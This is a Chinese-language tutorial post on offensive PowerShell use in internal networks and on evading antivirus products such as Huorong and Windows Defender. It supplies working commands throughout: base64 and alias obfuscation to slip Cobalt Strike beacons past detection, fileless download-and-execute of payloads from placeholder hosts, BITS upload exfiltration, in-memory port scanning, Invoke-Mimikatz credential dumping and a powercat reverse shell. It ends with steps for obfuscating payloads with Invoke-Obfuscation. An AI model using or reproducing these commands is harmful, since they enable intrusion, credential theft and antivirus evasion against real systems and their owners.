powershell是一个很好的宝藏库,在内网中可能会给出意外惊喜。
挑一点重点说说,本文的杀软以火绒为主。
其实我们都用过powershell,
比如ls,dir
不过它只是Get-ChildItem别称。
常用命令和参数介绍:
命名规范:动词+名词=cmdlets
-Get-ExecutionPolicy:查看当前执行策
第一次我们运行ps1脚本的时候会遇到这种情况,因为powershell默认安全策略为Restricted,此时脚本不能执行
修改的使用
PS C:\Users\Admin> Set-ExecutionPolicy -Scope CurrentUser 位于命令管道位置 1 的 cmdlet Set-ExecutionPolicy 请为以下参数提供值: ExecutionPolicy: Unrestricted 执行策略更改 执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略? [Y] 是(Y) [A] 全是(A) [N] 否(N) [L] 全否(L) [S] 暂停(S) [?] 帮助 (默认值为“N”): Y
Unrestricted:允许所有脚本运行(需要管理员权限)
因为C:\Users\Admin不在powershell默认环境中,所以我们需要输入绝对路径
$env:Path=$env:Path+"C:\Users\Admin"
添加到powershell的默认路径后,便可以直接执行了。
&:在字符串前加上&,可以把字符串当成命令执行在字符串前加上&,可以把字符串当成命令执行。
相同的命令还有IEX(Invoke-Expression),也是将字符串当作powershell执行
-EXecutionPolicy Bypass:绕过powershell默认安全规定不能运行命令和文件
-WindowStyle Hidden(-W Hidden):隐藏窗口
-Nonlnteractive(-Nonl):非交互模式
-noexit:执行但不退出shell
Get-FileHash:获取文件hash
-Import-Module:将模块添加到当前会话。
//如上传操作 Import-Module BitsTransfer Start-BitsTransfer -Source c:\test.txt -Destination http://x.x.x.x/test.txt -transfertype upload
-EncodedCommand(-enc):接受base64编码的字符串
-set-alias:设置别名
powershell定义函数方式:
function FuncName(args[]) { code; }
编辑器:
win10自带的ISE就挺不错,自动补全功能也很好。
powershell-cs上线:
也是调用了virtualalloc那些windows api创建而成。
常用的API还是要记住的
在一些木马分析的时候有时候也会感到有些相似的地方,比如,call ds:DeleteFileA..........call ds:CreateFileA............call ds:WriteFile.............call ds:CreateThread
删原来文件,创建一个新word,写,加载到新线程中。因为套路相似,调用的API也相似。
推荐查询网址:
https://docs.microsoft.com/zh-cn/windows/win32/apiindex/windows-api-list?redirectedfrom=MSDN
首次扫描,火绒被火绒杀了。
在我们对这段代码加入上面我们的混淆以后,火绒便不会杀了,cs也可以正常上线。
#然后火绒会对这个powershell执行脚本的行为进行行为拦截 #echo ...... | powershell 也会被拦截 powershell #从cmd进入powershell界面 function ConvertFrom-Base64($string) {$bytes = [Sys;tem.Convert]::FromBase64String($string);$decoded = [System.Text.Encoding]::UTF8.GetString($bytes); return $decoded;} $a="cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC1mIE" $b="M6XFVzZXJzXEFkbWluXERlc2t0b3BccGF5bG9hZC5wczE=" IEX(ConvertFrom-Base64($a+$b))
不会这样拦截类似 powershell -ep bypass -f ........ps1了。
这个是笨方法
因为测试其他powershell脚本的时候,没有被拦截,觉得还是关键字拦截。然后就这样混淆一下。
powershell-cs无文件上线:
powershell set-alias -name test -value Invoke-Expression;test(New-Object Net.WebClient).DownloadString('http://x.x.x.x/payload.ps1')
把修改后的ps脚本放在服务器上,在有火绒的虚拟机上好像是直接上线了。
windows defender二话不说拦截,因为连windows defender静态免杀都没过。
至于怎么过windows defender,上篇文章也写过。
不过这时候,文件是落地的。
powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://X.X.X.X/Loader.exe';$file = ' D:\SYSTEM1.exe ';$clnt.DownloadFile($url,$file);&&D:\SYSTEM1.exe
项目推荐:
git clone https://github.com/mattifestation/PowerSploit.git git clone https://github.com/samratashok/nishang git clone https://github.com/besimorhino/powercat
无文件落地端口扫描:
脚本放到vps,开启通道
在我们第一次尝试的时候,可能会出现这种问题:
解决办法:
第一种可能:模块名字,你不经意的打错了
第二种可能:需要修改作用域的权限。
执行后为:
powershell -nop -ep bypass -c "IEX (New-Object System.Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Portscan.ps1')";Invoke-Portscan -Hosts 192.168.37.0/24 -T 4 -ports "3389" -oA c:\windows\temp\est1.txt
还有一点是执行的时候,杀软会拦截。
不过我们换一种思路
powershell set-alias -name test -value Invoke-Expression;test(New-Object System.Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.37.0/24 -T 4 -ports "3389" -oA c:\windows\temp\est3.txt
给IEX设置一个别名,再执行,火绒便不会再拦截。
无文件落地抓取密码:
powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
反弹shell:
#被控端: powershell IEX (New-Object System.Net.Webclient).DownloadString('http://x.x.x.x/powercat.ps1');powercat -c x.x.x.x -p 6666 -e cmd nc -lvp 8888
power shell免杀项目推荐:
两个师傅的博客网址:
https://www.chabug.org/?s=powershell
感觉这两位师傅写的总结的都挺不错的,其他师傅写的也都很不错。
https://github.com/danielbohannon/Invoke-Obfuscation
Import-Module .\Invoke-Obfuscation.psd1 Invoke-Obfuscation
进入我们的主界面
encoding模块进行混淆 launcher模块生成加载器 string模块混淆字符串
set scriptpath C:\Users\Admin\Desktop\payload222.ps1 #设置我们需要免杀的脚本路径 encoding 3 out 1.ps1
这里是过了Windows defender的静态免杀,这个工具其他模块功能都挺足的,师傅们可以研究一下
其他项目:
https://github.com/the-xentropy/xencrypt/blob/master/xencrypt.ps1
https://github.com/CBHue/PyFuscation